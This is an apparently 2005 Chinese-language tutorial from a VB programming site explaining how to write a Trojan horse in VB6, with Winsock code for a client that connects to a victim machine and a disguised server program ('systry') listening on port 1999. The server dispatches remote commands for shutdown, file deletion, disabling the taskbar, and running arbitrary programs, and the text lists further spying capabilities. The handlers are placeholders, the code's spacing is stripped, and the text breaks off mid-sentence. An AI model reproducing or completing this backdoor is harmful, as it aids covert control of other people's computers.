3/3特洛伊木馬程序當(dāng)前位置：中國VB網(wǎng)→文章首頁→VB技術(shù)文章→其他→淺談用VB6.0編寫木馬程序

淺談用VB6.0編寫木馬程序

：不詳來源于：中國VB網(wǎng)發(fā)布時間：2005/9/5

現(xiàn)在網(wǎng)絡(luò)上流行的木馬軟件基本都是客戶機(jī)/服務(wù)器模式也就是所謂的C/S結(jié)構(gòu)，目前也有一些開始向B/S結(jié)構(gòu)轉(zhuǎn)變，在這里暫且不對B/S結(jié)構(gòu)進(jìn)行詳談，本文主要介紹C/S結(jié)構(gòu)其原理就是在本機(jī)直接啟動運(yùn)行的程序擁有與使用者相同的權(quán)限。因此如果能夠啟動服務(wù)器端（即被攻擊的計算機(jī)）的服務(wù)器程序，就可以使用相應(yīng)的客戶端工具客戶程序直接控制它了。下面來談?wù)勅绾斡肰B來實(shí)現(xiàn)它。

首先使用VB建立兩個程序，一個為客戶端程序Client，一個為服務(wù)器端程序systry。

在Client工程中建立一個窗體，加載WinSock控件，稱為tcpClient，協(xié)議選擇TCP，再加入兩個文本框，用以輸入服務(wù)器的IP地址或服務(wù)器名，然后建立一個按鈕，按下之后就可以對連接進(jìn)行初始化了，代碼如下：

PrivateSubcmdConnect_Click()

IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then

MsgBox("請輸入主機(jī)名或主機(jī)IP地址。")

ExitSub

Else

IfLen(Text1.Text)>0Then

tcpClient.RemoteHost=Text1.Text

Else

tcpClient.RemoteHost=Text2.Text

EndIf

EndIf

tcpClient.Connect

Timer1.Enabled=True

EndSub

連接建立之后就可以使用DataArrival事件處理所收到的數(shù)據(jù)了。

在服務(wù)器端systry工程也建立一個窗體，加載WinSock控件，稱為tcpServer，協(xié)議選擇TCP，在Form_Load事件中加入如下代碼：

PrivateSubForm_Load()

tcpServer.LocalPort=1999

tcpServer.Listen

EndSub

準(zhǔn)備應(yīng)答客戶端程序的請求連接，使用ConnectionRequest事件來應(yīng)答戶端程序的請求，代碼如下：

PrivateSubtcpServer_ConnectionRequest

(ByValrequestIDAsLong)

IftcpServer.StatesckClosedThen

tcpServer.Close‘檢查控件的State屬性是否為關(guān)閉的。

EndIf'如果不是，在接受新的連接之前先關(guān)閉此連接。

tcpServer.AcceptrequestID

EndSub

這樣在客戶端程序按下了連接按鈕后，服務(wù)器端程序的ConnectionRequest事件被觸發(fā)，執(zhí)行了以上的代碼。如果不出意外，連接就被建立起來了。

建立連接后服務(wù)器端的程序通過DataArrival事件接收客戶機(jī)端程序所發(fā)的指令運(yùn)行既定的程序。如：把服務(wù)器端的驅(qū)動器名、目錄名、文件名等傳到客戶機(jī)端，客戶機(jī)端接收后用TreeView控件以樹狀的形式顯示出來，瀏覽服務(wù)器端文件目錄；強(qiáng)制關(guān)閉或重啟服務(wù)器端的計算機(jī)；屏蔽任務(wù)欄窗口；屏蔽開始菜單；按照客戶機(jī)端傳過來的文件名或目錄名，而刪除它；屏蔽熱啟動鍵；運(yùn)行服務(wù)器端的任何程序；還包括獲取目標(biāo)計算機(jī)屏幕圖象、窗口及進(jìn)程列表；激活、終止遠(yuǎn)端進(jìn)程；打開、關(guān)閉、移動遠(yuǎn)端窗口；控制目標(biāo)計算機(jī)鼠標(biāo)的移動與動作；交換遠(yuǎn)端鼠標(biāo)的左右鍵；在目標(biāo)計算機(jī)模擬鍵盤輸入，下載、上裝文件；提取、創(chuàng)建、修改目標(biāo)計算機(jī)系統(tǒng)注冊表關(guān)鍵字；在遠(yuǎn)端屏幕上顯示消息。DataArrival事件程序如下：

PrivateSubtcpServer_DataArrival

(ByValbytesTotalAsLong)

DimstrDataAsString

DimiAsLong

DimmKeyAsString

tcpServer.GetDatastrData

'接收數(shù)據(jù)并存入strData

Fori=1ToLen(strData)

'分離strData中的命令

IfMid(strData,i,1)="@"Then

mKey=Left(strData,i-1)

'把命令I(lǐng)D號存入mKey

'把命令參數(shù)存入strData

strData=Right(strData,Len(strData)-i)

ExitFor

EndIf

Nexti

SelectCaseVal(mKey)

Case1

‘驅(qū)動器名、目錄名、文件名

Case2

強(qiáng)制關(guān)閉服務(wù)器端的計算機(jī)

Case3

強(qiáng)制重啟服務(wù)器端的計算機(jī)

Case4

屏蔽任務(wù)欄窗口；

Case5

屏蔽開始菜單；

Case6

按照客戶機(jī)端傳過來的文件名或目錄名，而刪除它；

Case7

屏蔽熱啟動鍵；

Case8

運(yùn)行服務(wù)器端的任何程序

EndSelect

EndSub

客戶機(jī)端用tcpClient.SendData發(fā)命令。命令包括命令I(lǐng)D和命令參數(shù)，它們用符號“@”隔開。

另外，當(dāng)客戶機(jī)端斷開與服務(wù)器端的來接后，服務(wù)器端應(yīng)用tcpServer_Close事件，來繼續(xù)準(zhǔn)備接收客戶機(jī)端的請求，其代碼如下：

PrivateSubtcpServer_Close()

tcpServer.Close

tcpServer.Listen

EndSub

這就是一個最基本的特洛伊木馬程序，只要你的機(jī)器運(yùn)行了服務(wù)器端